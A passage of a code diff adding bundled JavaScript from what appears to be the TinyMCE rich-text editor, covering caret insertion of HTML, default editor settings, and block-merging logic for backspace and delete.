+        var root = editor.getBody();
+        for (; node && node !== root; node = node.parentNode) {
+          if (editor.dom.getContentEditable(node) === 'false') {
+            return node;
+          }
+        }
+        return null;
+      };
+      if (!marker) {
+        return;
+      }
+      selection.scrollIntoView(marker);
+      parentEditableFalseElm = getContentEditableFalseParent(marker);
+      if (parentEditableFalseElm) {
+        dom.remove(marker);
+        selection.select(parentEditableFalseElm);
+        return;
+      }
+      rng = dom.createRng();
+      node = marker.previousSibling;
+      if (node && node.nodeType === 3) {
+        rng.setStart(node, node.nodeValue.length);
+        if (!$_bcvfv9ajjgwe79v.ie) {
+          node2 = marker.nextSibling;
+          if (node2 && node2.nodeType === 3) {
+            node.appendData(node2.data);
+            node2.parentNode.removeChild(node2);
+          }
+        }
+      } else {
+        rng.setStartBefore(marker);
+        rng.setEndBefore(marker);
+      }
+      var findNextCaretRng = function (rng) {
+        var caretPos = CaretPosition$1.fromRangeStart(rng);
+        var caretWalker = CaretWalker(editor.getBody());
+        caretPos = caretWalker.next(caretPos);
+        if (caretPos) {
+          return caretPos.toRange();
+        }
+      };
+      parentBlock = dom.getParent(marker, dom.isBlock);
+      dom.remove(marker);
+      if (parentBlock && dom.isEmpty(parentBlock)) {
+        editor.$(parentBlock).empty();
+        rng.setStart(parentBlock, 0);
+        rng.setEnd(parentBlock, 0);
+        if (!isTableCell$2(parentBlock) && !isPartOfFragment(parentBlock) && (nextRng = findNextCaretRng(rng))) {
+          rng = nextRng;
+          dom.remove(parentBlock);
+        } else {
+          dom.add(parentBlock, dom.create('br', { 'data-mce-bogus': '1' }));
+        }
+      }
+      selection.setRng(rng);
+    };
+    if (/^ | $/.test(value)) {
+      value = trimOrPaddLeftRight(value);
+    }
+    parser = editor.parser;
+    merge = details.merge;
+    serializer = HtmlSerializer({ validate: editor.settings.validate }, editor.schema);
+    bookmarkHtml = '<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;&#x200B;</span>';
+    args = {
+      content: value,
+      format: 'html',
+      selection: true,
+      paste: details.paste
+    };
+    args = editor.fire('BeforeSetContent', args);
+    if (args.isDefaultPrevented()) {
+      editor.fire('SetContent', {
+        content: args.content,
+        format: 'html',
+        selection: true,
+        paste: details.paste
+      });
+      return;
+    }
+    value = args.content;
+    if (value.indexOf('{$caret}') === -1) {
+      value += '{$caret}';
+    }
+    value = value.replace(/\{\$caret\}/, bookmarkHtml);
+    rng = selection.getRng();
+    var caretElement = rng.startContainer || (rng.parentElement ? rng.parentElement() : null);
+    var body = editor.getBody();
+    if (caretElement === body && selection.isCollapsed()) {
+      if (dom.isBlock(body.firstChild) && canHaveChildren(body.firstChild) && dom.isEmpty(body.firstChild)) {
+        rng = dom.createRng();
+        rng.setStart(body.firstChild, 0);
+        rng.setEnd(body.firstChild, 0);
+        selection.setRng(rng);
+      }
+    }
+    if (!selection.isCollapsed()) {
+      editor.selection.setRng($_e1wrz53ojjgwe85f.normalize(editor.selection.getRng()));
+      editor.getDoc().execCommand('Delete', false, null);
+      trimNbspAfterDeleteAndPaddValue();
+    }
+    parentNode = selection.getNode();
+    var parserArgs = {
+      context: parentNode.nodeName.toLowerCase(),
+      data: details.data,
+      insert: true
+    };
+    fragment = parser.parse(value, parserArgs);
+    if (details.paste === true && $_1z3gsr3jjjgwe84c.isListFragment(editor.schema, fragment) && $_1z3gsr3jjjgwe84c.isParentBlockLi(dom, parentNode)) {
+      rng = $_1z3gsr3jjjgwe84c.insertAtCaret(serializer, dom, editor.selection.getRng(), fragment);
+      editor.selection.setRng(rng);
+      editor.fire('SetContent', args);
+      return;
+    }
+    markFragmentElements(fragment);
+    node = fragment.lastChild;
+    if (node.attr('id') === 'mce_marker') {
+      marker = node;
+      for (node = node.prev; node; node = node.walk(true)) {
+        if (node.type === 3 || !dom.isBlock(node.name)) {
+          if (editor.schema.isValidChild(node.parent.name, 'span')) {
+            node.parent.insert(marker, node, node.name === 'br');
+          }
+          break;
+        }
+      }
+    }
+    editor._selectionOverrides.showBlockCaretContainer(parentNode);
+    if (!parserArgs.invalid) {
+      value = serializer.serialize(fragment);
+      validInsertion(editor, value, parentNode);
+    } else {
+      selection.setContent(bookmarkHtml);
+      parentNode = selection.getNode();
+      rootNode = editor.getBody();
+      if (parentNode.nodeType === 9) {
+        parentNode = node = rootNode;
+      } else {
+        node = parentNode;
+      }
+      while (node !== rootNode) {
+        parentNode = node;
+        node = node.parentNode;
+      }
+      value = parentNode === rootNode ? rootNode.innerHTML : dom.getOuterHTML(parentNode);
+      value = serializer.serialize(parser.parse(value.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i, function () {
+        return serializer.serialize(fragment);
+      })));
+      if (parentNode === rootNode) {
+        dom.setHTML(rootNode, value);
+      } else {
+        dom.setOuterHTML(parentNode, value);
+      }
+    }
+    reduceInlineTextElements();
+    moveSelectionToMarker(dom.get('mce_marker'));
+    umarkFragmentElements(editor.getBody());
+    trimBrsFromTableCell(editor.dom, editor.selection.getStart());
+    editor.fire('SetContent', args);
+    editor.addVisual();
+  };
+  var processValue = function (value) {
+    var details;
+    if (typeof value !== 'string') {
+      details = $_6cwiepljjgwe7j4.extend({
+        paste: value.paste,
+        data: { paste: value.paste }
+      }, value);
+      return {
+        content: value.content,
+        details: details
+      };
+    }
+    return {
+      content: value,
+      details: {}
+    };
+  };
+  var insertAtCaret$1 = function (editor, value) {
+    var result = processValue(value);
+    insertHtmlAtCaret(editor, result.content, result.details);
+  };
+  var $_7w0ed33ijjgwe841 = { insertAtCaret: insertAtCaret$1 };
+
+  var sectionResult = Immutable('sections', 'settings');
+  var detection = $_7vg267ojjgwe7k0.detect();
+  var isTouch = detection.deviceType.isTouch();
+  var mobilePlugins = [
+    'lists',
+    'autolink',
+    'autosave'
+  ];
+  var defaultMobileSettings = { theme: 'mobile' };
+  var normalizePlugins = function (plugins) {
+    var pluginNames = isArray(plugins) ? plugins.join(' ') : plugins;
+    var trimmedPlugins = map(isString(pluginNames) ? pluginNames.split(' ') : [], trim$2);
+    return filter(trimmedPlugins, function (item) {
+      return item.length > 0;
+    });
+  };
+  var filterMobilePlugins = function (plugins) {
+    return filter(plugins, curry(contains, mobilePlugins));
+  };
+  var extractSections = function (keys$$1, settings) {
+    var result = bifilter(settings, function (value, key) {
+      return contains(keys$$1, key);
+    });
+    return sectionResult(result.t, result.f);
+  };
+  var getSection = function (sectionResult, name, defaults) {
+    var sections = sectionResult.sections();
+    var sectionSettings = sections.hasOwnProperty(name) ? sections[name] : {};
+    return $_6cwiepljjgwe7j4.extend({}, defaults, sectionSettings);
+  };
+  var hasSection = function (sectionResult, name) {
+    return sectionResult.sections().hasOwnProperty(name);
+  };
+  var getDefaultSettings = function (id, documentBaseUrl, editor) {
+    return {
+      id: id,
+      theme: 'modern',
+      delta_width: 0,
+      delta_height: 0,
+      popup_css: '',
+      plugins: '',
+      document_base_url: documentBaseUrl,
+      add_form_submit_trigger: true,
+      submit_patch: true,
+      add_unload_trigger: true,
+      convert_urls: true,
+      relative_urls: true,
+      remove_script_host: true,
+      object_resizing: true,
+      doctype: '<!DOCTYPE html>',
+      visual: true,
+      font_size_style_values: 'xx-small,x-small,small,medium,large,x-large,xx-large',
+      font_size_legacy_values: 'xx-small,small,medium,large,x-large,xx-large,300%',
+      forced_root_block: 'p',
+      hidden_input: true,
+      render_ui: true,
+      indentation: '30px',
+      inline_styles: true,
+      convert_fonts_to_spans: true,
+      indent: 'simple',
+      indent_before: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,' + 'tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist',
+      indent_after: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,' + 'tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist',
+      entity_encoding: 'named',
+      url_converter: editor.convertURL,
+      url_converter_scope: editor,
+      ie7_compat: true
+    };
+  };
+  var getExternalPlugins = function (overrideSettings, settings) {
+    var userDefinedExternalPlugins = settings.external_plugins ? settings.external_plugins : {};
+    if (overrideSettings && overrideSettings.external_plugins) {
+      return $_6cwiepljjgwe7j4.extend({}, overrideSettings.external_plugins, userDefinedExternalPlugins);
+    } else {
+      return userDefinedExternalPlugins;
+    }
+  };
+  var combinePlugins = function (forcedPlugins, plugins) {
+    return [].concat(normalizePlugins(forcedPlugins)).concat(normalizePlugins(plugins));
+  };
+  var processPlugins = function (isTouchDevice, sectionResult, defaultOverrideSettings, settings) {
+    var forcedPlugins = normalizePlugins(defaultOverrideSettings.forced_plugins);
+    var plugins = normalizePlugins(settings.plugins);
+    var platformPlugins = isTouchDevice && hasSection(sectionResult, 'mobile') ? filterMobilePlugins(plugins) : plugins;
+    var combinedPlugins = combinePlugins(forcedPlugins, platformPlugins);
+    return $_6cwiepljjgwe7j4.extend(settings, { plugins: combinedPlugins.join(' ') });
+  };
+  var isOnMobile = function (isTouchDevice, sectionResult) {
+    var isInline = sectionResult.settings().inline;
+    return isTouchDevice && hasSection(sectionResult, 'mobile') && !isInline;
+  };
+  var combineSettings = function (isTouchDevice, defaultSettings, defaultOverrideSettings, settings) {
+    var sectionResult = extractSections(['mobile'], settings);
+    var extendedSettings = $_6cwiepljjgwe7j4.extend(defaultSettings, defaultOverrideSettings, sectionResult.settings(), isOnMobile(isTouchDevice, sectionResult) ? getSection(sectionResult, 'mobile', defaultMobileSettings) : {}, {
+      validate: true,
+      content_editable: sectionResult.settings().inline,
+      external_plugins: getExternalPlugins(defaultOverrideSettings, sectionResult.settings())
+    });
+    return processPlugins(isTouchDevice, sectionResult, defaultOverrideSettings, extendedSettings);
+  };
+  var getEditorSettings = function (editor, id, documentBaseUrl, defaultOverrideSettings, settings) {
+    var defaultSettings = getDefaultSettings(id, documentBaseUrl, editor);
+    return combineSettings(isTouch, defaultSettings, defaultOverrideSettings, settings);
+  };
+  var getFiltered = function (predicate, editor, name) {
+    return Option.from(editor.settings[name]).filter(predicate);
+  };
+  var getString = curry(getFiltered, isString);
+  var getParamObject = function (value) {
+    var output = {};
+    if (typeof value === 'string') {
+      each(value.indexOf('=') > 0 ? value.split(/[;,](?![^=;,]*(?:[;,]|$))/) : value.split(','), function (val) {
+        var arr = val.split('=');
+        if (arr.length > 1) {
+          output[$_6cwiepljjgwe7j4.trim(arr[0])] = $_6cwiepljjgwe7j4.trim(arr[1]);
+        } else {
+          output[$_6cwiepljjgwe7j4.trim(arr[0])] = $_6cwiepljjgwe7j4.trim(arr);
+        }
+      });
+    } else {
+      output = value;
+    }
+    return output;
+  };
+  var isArrayOf = function (p) {
+    return function (a) {
+      return isArray(a) && forall(a, p);
+    };
+  };
+  var getParam = function (editor, name, defaultVal, type) {
+    var value = name in editor.settings ? editor.settings[name] : defaultVal;
+    if (type === 'hash') {
+      return getParamObject(value);
+    } else if (type === 'string') {
+      return getFiltered(isString, editor, name).getOr(defaultVal);
+    } else if (type === 'number') {
+      return getFiltered(isNumber, editor, name).getOr(defaultVal);
+    } else if (type === 'boolean') {
+      return getFiltered(isBoolean, editor, name).getOr(defaultVal);
+    } else if (type === 'object') {
+      return getFiltered(isObject, editor, name).getOr(defaultVal);
+    } else if (type === 'array') {
+      return getFiltered(isArray, editor, name).getOr(defaultVal);
+    } else if (type === 'string[]') {
+      return getFiltered(isArrayOf(isString), editor, name).getOr(defaultVal);
+    } else if (type === 'function') {
+      return getFiltered(isFunction, editor, name).getOr(defaultVal);
+    } else {
+      return value;
+    }
+  };
+
+  var strongRtl = /[\u0591-\u07FF\uFB1D-\uFDFF\uFE70-\uFEFC]/;
+  var hasStrongRtl = function (text) {
+    return strongRtl.test(text);
+  };
+
+  var isInlineTarget = function (editor, elm) {
+    var selector = getString(editor, 'inline_boundaries_selector').getOr('a[href],code');
+    return $_4yq1xp1gjjgwe7op.is(Element$$1.fromDom(elm), selector);
+  };
+  var isRtl = function (element) {
+    return DOMUtils$1.DOM.getStyle(element, 'direction', true) === 'rtl' || hasStrongRtl(element.textContent);
+  };
+  var findInlineParents = function (isInlineTarget, rootNode, pos) {
+    return filter(DOMUtils$1.DOM.getParents(pos.container(), '*', rootNode), isInlineTarget);
+  };
+  var findRootInline = function (isInlineTarget, rootNode, pos) {
+    var parents = findInlineParents(isInlineTarget, rootNode, pos);
+    return Option.from(parents[parents.length - 1]);
+  };
+  var hasSameParentBlock = function (rootNode, node1, node2) {
+    var block1 = getParentBlock(node1, rootNode);
+    var block2 = getParentBlock(node2, rootNode);
+    return block1 && block1 === block2;
+  };
+  var isAtZwsp = function (pos) {
+    return isBeforeInline(pos) || isAfterInline(pos);
+  };
+  var normalizePosition = function (forward, pos) {
+    var container = pos.container(), offset = pos.offset();
+    if (forward) {
+      if (isCaretContainerInline(container)) {
+        if ($_3b9u2y1rjjgwe7qe.isText(container.nextSibling)) {
+          return CaretPosition$1(container.nextSibling, 0);
+        } else {
+          return CaretPosition$1.after(container);
+        }
+      } else {
+        return isBeforeInline(pos) ? CaretPosition$1(container, offset + 1) : pos;
+      }
+    } else {
+      if (isCaretContainerInline(container)) {
+        if ($_3b9u2y1rjjgwe7qe.isText(container.previousSibling)) {
+          return CaretPosition$1(container.previousSibling, container.previousSibling.data.length);
+        } else {
+          return CaretPosition$1.before(container);
+        }
+      } else {
+        return isAfterInline(pos) ? CaretPosition$1(container, offset - 1) : pos;
+      }
+    }
+  };
+  var normalizeForwards = curry(normalizePosition, true);
+  var normalizeBackwards = curry(normalizePosition, false);
+  var $_av9utf3tjjgwe86b = {
+    isInlineTarget: isInlineTarget,
+    findRootInline: findRootInline,
+    isRtl: isRtl,
+    isAtZwsp: isAtZwsp,
+    normalizePosition: normalizePosition,
+    normalizeForwards: normalizeForwards,
+    normalizeBackwards: normalizeBackwards,
+    hasSameParentBlock: hasSameParentBlock
+  };
+
+  var isBeforeRoot = function (rootNode) {
+    return function (elm) {
+      return $_5raon11ejjgwe7o5.eq(rootNode, Element$$1.fromDom(elm.dom().parentNode));
+    };
+  };
+  var getParentBlock$1 = function (rootNode, elm) {
+    return $_5raon11ejjgwe7o5.contains(rootNode, elm) ? $_7kjxyh2ajjgwe7un.closest(elm, function (element) {
+      return isTextBlock(element) || isListItem(element);
+    }, isBeforeRoot(rootNode)) : Option.none();
+  };
+  var placeCaretInEmptyBody = function (editor) {
+    var body = editor.getBody();
+    var node = body.firstChild && editor.dom.isBlock(body.firstChild) ? body.firstChild : body;
+    editor.selection.setCursorLocation(node, 0);
+  };
+  var paddEmptyBody = function (editor) {
+    if (editor.dom.isEmpty(editor.getBody())) {
+      editor.setContent('');
+      placeCaretInEmptyBody(editor);
+    }
+  };
+  var willDeleteLastPositionInElement = function (forward, fromPos, elm) {
+    return liftN([
+      $_8q1ver2yjjgwe7z3.firstPositionIn(elm),
+      $_8q1ver2yjjgwe7z3.lastPositionIn(elm)
+    ], function (firstPos, lastPos) {
+      var normalizedFirstPos = $_av9utf3tjjgwe86b.normalizePosition(true, firstPos);
+      var normalizedLastPos = $_av9utf3tjjgwe86b.normalizePosition(false, lastPos);
+      var normalizedFromPos = $_av9utf3tjjgwe86b.normalizePosition(false, fromPos);
+      if (forward) {
+        return $_8q1ver2yjjgwe7z3.nextPosition(elm, normalizedFromPos).map(function (nextPos) {
+          return nextPos.isEqual(normalizedLastPos) && fromPos.isEqual(normalizedFirstPos);
+        }).getOr(false);
+      } else {
+        return $_8q1ver2yjjgwe7z3.prevPosition(elm, normalizedFromPos).map(function (prevPos) {
+          return prevPos.isEqual(normalizedFirstPos) && fromPos.isEqual(normalizedLastPos);
+        }).getOr(false);
+      }
+    }).getOr(true);
+  };
+  var $_3vi93f3sjjgwe861 = {
+    getParentBlock: getParentBlock$1,
+    paddEmptyBody: paddEmptyBody,
+    willDeleteLastPositionInElement: willDeleteLastPositionInElement
+  };
+
+  var any = function (selector) {
+    return $_ajwe9029jjgwe7ul.first(selector).isSome();
+  };
+  var ancestor$2 = function (scope, selector, isRoot) {
+    return $_ajwe9029jjgwe7ul.ancestor(scope, selector, isRoot).isSome();
+  };
+  var sibling$3 = function (scope, selector) {
+    return $_ajwe9029jjgwe7ul.sibling(scope, selector).isSome();
+  };
+  var child$3 = function (scope, selector) {
+    return $_ajwe9029jjgwe7ul.child(scope, selector).isSome();
+  };
+  var descendant$2 = function (scope, selector) {
+    return $_ajwe9029jjgwe7ul.descendant(scope, selector).isSome();
+  };
+  var closest$2 = function (scope, selector, isRoot) {
+    return $_ajwe9029jjgwe7ul.closest(scope, selector, isRoot).isSome();
+  };
+  var $_ct3yqg3xjjgwe8b2 = {
+    any: any,
+    ancestor: ancestor$2,
+    sibling: sibling$3,
+    child: child$3,
+    descendant: descendant$2,
+    closest: closest$2
+  };
+
+  var hasWhitespacePreserveParent = function (rootNode, node) {
+    var rootElement = Element$$1.fromDom(rootNode);
+    var startNode = Element$$1.fromDom(node);
+    return $_ct3yqg3xjjgwe8b2.ancestor(startNode, 'pre,code', curry($_5raon11ejjgwe7o5.eq, rootElement));
+  };
+  var isWhitespace = function (rootNode, node) {
+    return $_3b9u2y1rjjgwe7qe.isText(node) && /^[ \t\r\n]*$/.test(node.data) && hasWhitespacePreserveParent(rootNode, node) === false;
+  };
+  var isNamedAnchor = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && node.nodeName === 'A' && node.hasAttribute('name');
+  };
+  var isContent = function (rootNode, node) {
+    return isCaretCandidate(node) && isWhitespace(rootNode, node) === false || isNamedAnchor(node) || isBookmark(node);
+  };
+  var isBookmark = $_3b9u2y1rjjgwe7qe.hasAttribute('data-mce-bookmark');
+  var isBogus$2 = $_3b9u2y1rjjgwe7qe.hasAttribute('data-mce-bogus');
+  var isBogusAll$1 = $_3b9u2y1rjjgwe7qe.hasAttributeValue('data-mce-bogus', 'all');
+  var isEmptyNode = function (targetNode) {
+    var walker, node, brCount = 0;
+    if (isContent(targetNode, targetNode)) {
+      return false;
+    } else {
+      node = targetNode.firstChild;
+      if (!node) {
+        return true;
+      }
+      walker = new TreeWalker(node, targetNode);
+      do {
+        if (isBogusAll$1(node)) {
+          node = walker.next(true);
+          continue;
+        }
+        if (isBogus$2(node)) {
+          node = walker.next();
+          continue;
+        }
+        if ($_3b9u2y1rjjgwe7qe.isBr(node)) {
+          brCount++;
+          node = walker.next();
+          continue;
+        }
+        if (isContent(targetNode, node)) {
+          return false;
+        }
+        node = walker.next();
+      } while (node);
+      return brCount <= 1;
+    }
+  };
+  var isEmpty$1 = function (elm) {
+    return isEmptyNode(elm.dom());
+  };
+  var $_99xuux3wjjgwe8as = { isEmpty: isEmpty$1 };
+
+  var BlockPosition = Immutable('block', 'position');
+  var BlockBoundary = Immutable('from', 'to');
+  var getBlockPosition = function (rootNode, pos) {
+    var rootElm = Element$$1.fromDom(rootNode);
+    var containerElm = Element$$1.fromDom(pos.container());
+    return $_3vi93f3sjjgwe861.getParentBlock(rootElm, containerElm).map(function (block) {
+      return BlockPosition(block, pos);
+    });
+  };
+  var isDifferentBlocks = function (blockBoundary) {
+    return $_5raon11ejjgwe7o5.eq(blockBoundary.from().block(), blockBoundary.to().block()) === false;
+  };
+  var hasSameParent = function (blockBoundary) {
+    return $_d3rmjp18jjgwe7nc.parent(blockBoundary.from().block()).bind(function (parent1) {
+      return $_d3rmjp18jjgwe7nc.parent(blockBoundary.to().block()).filter(function (parent2) {
+        return $_5raon11ejjgwe7o5.eq(parent1, parent2);
+      });
+    }).isSome();
+  };
+  var isEditable = function (blockBoundary) {
+    return $_3b9u2y1rjjgwe7qe.isContentEditableFalse(blockBoundary.from().block()) === false && $_3b9u2y1rjjgwe7qe.isContentEditableFalse(blockBoundary.to().block()) === false;
+  };
+  var skipLastBr = function (rootNode, forward, blockPosition) {
+    if ($_3b9u2y1rjjgwe7qe.isBr(blockPosition.position().getNode()) && $_99xuux3wjjgwe8as.isEmpty(blockPosition.block()) === false) {
+      return $_8q1ver2yjjgwe7z3.positionIn(false, blockPosition.block().dom()).bind(function (lastPositionInBlock) {
+        if (lastPositionInBlock.isEqual(blockPosition.position())) {
+          return $_8q1ver2yjjgwe7z3.fromPosition(forward, rootNode, lastPositionInBlock).bind(function (to) {
+            return getBlockPosition(rootNode, to);
+          });
+        } else {
+          return Option.some(blockPosition);
+        }
+      }).getOr(blockPosition);
+    } else {
+      return blockPosition;
+    }
+  };
+  var readFromRange = function (rootNode, forward, rng) {
+    var fromBlockPos = getBlockPosition(rootNode, CaretPosition$1.fromRangeStart(rng));
+    var toBlockPos = fromBlockPos.bind(function (blockPos) {
+      return $_8q1ver2yjjgwe7z3.fromPosition(forward, rootNode, blockPos.position()).bind(function (to) {
+        return getBlockPosition(rootNode, to).map(function (blockPos) {
+          return skipLastBr(rootNode, forward, blockPos);
+        });
+      });
+    });
+    return liftN([
+      fromBlockPos,
+      toBlockPos
+    ], BlockBoundary).filter(function (blockBoundary) {
+      return isDifferentBlocks(blockBoundary) && hasSameParent(blockBoundary) && isEditable(blockBoundary);
+    });
+  };
+  var read$1 = function (rootNode, forward, rng) {
+    return rng.collapsed ? readFromRange(rootNode, forward, rng) : Option.none();
+  };
+  var $_6p32rm3rjjgwe85q = { read: read$1 };
+
+  var dropLast = function (xs) {
+    return xs.slice(0, -1);
+  };
+  var parentsUntil$1 = function (startNode, rootElm, predicate) {
+    if ($_5raon11ejjgwe7o5.contains(rootElm, startNode)) {
+      return dropLast($_d3rmjp18jjgwe7nc.parents(startNode, function (elm) {
+        return predicate(elm) || $_5raon11ejjgwe7o5.eq(elm, rootElm);
+      }));
+    } else {
+      return [];
+    }
+  };
+  var parents$1 = function (startNode, rootElm) {
+    return parentsUntil$1(startNode, rootElm, constant(false));
+  };
+  var parentsAndSelf = function (startNode, rootElm) {
+    return [startNode].concat(parents$1(startNode, rootElm));
+  };
+  var $_cvft7x3zjjgwe8bh = {
+    parentsUntil: parentsUntil$1,
+    parents: parents$1,
+    parentsAndSelf: parentsAndSelf
+  };
+
+  var getChildrenUntilBlockBoundary = function (block) {
+    var children = $_d3rmjp18jjgwe7nc.children(block);
+    return findIndex(children, isBlock).fold(function () {
+      return children;
+    }, function (index) {
+      return children.slice(0, index);
+    });
+  };
+  var extractChildren = function (block) {
+    var children = getChildrenUntilBlockBoundary(block);
+    each(children, function (node) {
+      $_81exq51wjjgwe7sm.remove(node);
+    });
+    return children;
+  };
+  var trimBr = function (first, block) {
+    $_8q1ver2yjjgwe7z3.positionIn(first, block.dom()).each(function (position) {
+      var node = position.getNode();
+      if ($_3b9u2y1rjjgwe7qe.isBr(node)) {
+        $_81exq51wjjgwe7sm.remove(Element$$1.fromDom(node));
+      }
+    });
+  };
+  var removeEmptyRoot = function (rootNode, block) {
+    var parents = $_cvft7x3zjjgwe8bh.parentsAndSelf(block, rootNode);
+    return find(parents.reverse(), $_99xuux3wjjgwe8as.isEmpty).each($_81exq51wjjgwe7sm.remove);
+  };
+  var findParentInsertPoint = function (toBlock, block) {
+    var parents = $_d3rmjp18jjgwe7nc.parents(block, function (elm) {
+      return $_5raon11ejjgwe7o5.eq(elm, toBlock);
+    });
+    return Option.from(parents[parents.length - 2]);
+  };
+  var getInsertionPoint = function (fromBlock, toBlock) {
+    if ($_5raon11ejjgwe7o5.contains(toBlock, fromBlock)) {
+      return $_d3rmjp18jjgwe7nc.parent(fromBlock).bind(function (parent) {
+        return $_5raon11ejjgwe7o5.eq(parent, toBlock) ? Option.some(fromBlock) : findParentInsertPoint(toBlock, fromBlock);
+      });
+    } else {
+      return Option.none();
+    }
+  };
+  var mergeBlockInto = function (rootNode, fromBlock, toBlock) {
+    if ($_99xuux3wjjgwe8as.isEmpty(toBlock)) {
+      $_81exq51wjjgwe7sm.remove(toBlock);
+      if ($_99xuux3wjjgwe8as.isEmpty(fromBlock)) {
+        $_fhp7pa3ljjgwe84n.fillWithPaddingBr(fromBlock);
+      }
+      return $_8q1ver2yjjgwe7z3.firstPositionIn(fromBlock.dom());
+    } else {
+      trimBr(true, fromBlock);
+      trimBr(false, toBlock);
+      var children_1 = extractChildren(fromBlock);
+      return getInsertionPoint(fromBlock, toBlock).fold(function () {
+        removeEmptyRoot(rootNode, fromBlock);
+        var position = $_8q1ver2yjjgwe7z3.lastPositionIn(toBlock.dom());
+        each(children_1, function (node) {
+          $_ewo3u51yjjgwe7su.append(toBlock, node);
+        });
+        return position;
+      }, function (target) {
+        var position = $_8q1ver2yjjgwe7z3.prevPosition(toBlock.dom(), CaretPosition$1.before(target.dom()));
+        each(children_1, function (node) {
+          $_ewo3u51yjjgwe7su.before(target, node);
+        });
+        removeEmptyRoot(rootNode, fromBlock);
+        return position;
+      });
+    }
+  };
+  var mergeBlocks = function (rootNode, forward, block1, block2) {
+    return forward ? mergeBlockInto(rootNode, block2, block1) : mergeBlockInto(rootNode, block1, block2);
+  };
+  var $_307srp3yjjgwe8b4 = { mergeBlocks: mergeBlocks };
+
+  var backspaceDelete = function (editor, forward) {
+    var position;
+    var rootNode = Element$$1.fromDom(editor.getBody());
+    position = $_6p32rm3rjjgwe85q.read(rootNode.dom(), forward, editor.selection.getRng()).bind(function (blockBoundary) {
+      return $_307srp3yjjgwe8b4.mergeBlocks(rootNode, forward, blockBoundary.from().block(), blockBoundary.to().block());
+    });
+    position.each(function (pos) {
+      editor.selection.setRng(pos.toRange());
+    });
+    return position.isSome();
+  };
+  var $_6q4s8w3qjjgwe85j = { backspaceDelete: backspaceDelete };
+
+  var deleteRangeMergeBlocks = function (rootNode, selection) {
+    var rng = selection.getRng();
+    return liftN([
+      $_3vi93f3sjjgwe861.getParentBlock(rootNode, Element$$1.fromDom(rng.startContainer)),
+      $_3vi93f3sjjgwe861.getParentBlock(rootNode, Element$$1.fromDom(rng.endContainer))
+    ], function (block1, block2) {
+      if ($_5raon11ejjgwe7o5.eq(block1, block2) === false) {
+        rng.deleteContents();
+        $_307srp3yjjgwe8b4.mergeBlocks(rootNode, true, block1, block2).each(function (pos) {
+          selection.setRng(pos.toRange());
+        });
+        return true;
+      } else {
+        return false;
+      }
+    }).getOr(false);
+  };
+  var isRawNodeInTable = function (root, rawNode) {
+    var node = Element$$1.fromDom(rawNode);
+    var isRoot = curry($_5raon11ejjgwe7o5.eq, root);
+    return $_7kjxyh2ajjgwe7un.ancestor(node, isTableCell, isRoot).isSome();
+  };
+  var isSelectionInTable = function (root, rng) {
+    return isRawNodeInTable(root, rng.startContainer) || isRawNodeInTable(root, rng.endContainer);
+  };
+  var isEverythingSelected = function (root, rng) {
+    var noPrevious = $_8q1ver2yjjgwe7z3.prevPosition(root.dom(), CaretPosition$1.fromRangeStart(rng)).isNone();
+    var noNext = $_8q1ver2yjjgwe7z3.nextPosition(root.dom(), CaretPosition$1.fromRangeEnd(rng)).isNone();
+    return !isSelectionInTable(root, rng) && noPrevious && noNext;
+  };
+  var emptyEditor = function (editor) {
+    editor.setContent('');
+    editor.selection.setCursorLocation();
+    return true;
+  };
+  var deleteRange = function (editor) {
+    var rootNode = Element$$1.fromDom(editor.getBody());
+    var rng = editor.selection.getRng();
+    return isEverythingSelected(rootNode, rng) ? emptyEditor(editor) : deleteRangeMergeBlocks(rootNode, editor.selection);
+  };
+  var backspaceDelete$1 = function (editor, forward) {
+    return editor.selection.isCollapsed() ? false : deleteRange(editor);
+  };
+  var $_8u9liw40jjgwe8bn = { backspaceDelete: backspaceDelete$1 };
+
+  var generate$1 = function (cases) {
+    if (!isArray(cases)) {
+      throw new Error('cases must be an array');
+    }
+    if (cases.length === 0) {
+      throw new Error('there must be at least one case');
+    }
+    var constructors = [];
+    var adt = {};
+    each(cases, function (acase, count) {
+      var keys$$1 = keys(acase);
+      if (keys$$1.length !== 1) {
+        throw new Error('one and only one name per case');
+      }
+      var key = keys$$1[0];
+      var value = acase[key];
+      if (adt[key] !== undefined) {
+        throw new Error('duplicate key detected:' + key);
+      } else if (key === 'cata') {
+        throw new Error('cannot have a case named cata (sorry)');
+      } else if (!isArray(value)) {
+        throw new Error('case arguments must be an array');
+      }
+      constructors.push(key);
+      adt[key] = function () {
+        var argLength = arguments.length;
+        if (argLength !== value.length) {
+          throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength);
+        }
+        var args = new Array(argLength);
+        for (var i = 0; i < args.length; i++)
+          args[i] = arguments[i];
+        var match = function (branches) {
+          var branchKeys = keys(branches);
+          if (constructors.length !== branchKeys.length) {
+            throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(','));
+          }
+          var allReqd = forall(constructors, function (reqKey) {
+            return contains(branchKeys, reqKey);
+          });
+          if (!allReqd)
+            throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', '));
+          return branches[key].apply(null, args);
+        };
+        return {
+          fold: function () {
+            if (arguments.length !== cases.length) {
+              throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + arguments.length);
+            }
+            var target = arguments[count];
+            return target.apply(null, args);
+          },
+          match: match,
+          log: function (label) {
+            console.log(label, {
+              constructors: constructors,
+              constructor: key,
+              params: args
+            });
+          }
+        };
+      };
+    });
+    return adt;
+  };
+  var Adt = { generate: generate$1 };
+
+  var isCompoundElement = function (node) {
+    return isTableCell(Element$$1.fromDom(node)) || isListItem(Element$$1.fromDom(node));
+  };
+  var DeleteAction = Adt.generate([
+    { remove: ['element'] },
+    { moveToElement: ['element'] },
+    { moveToPosition: ['position'] }
+  ]);
+  var isAtContentEditableBlockCaret = function (forward, from) {
+    var elm = from.getNode(forward === false);
+    var caretLocation = forward ? 'after' : 'before';
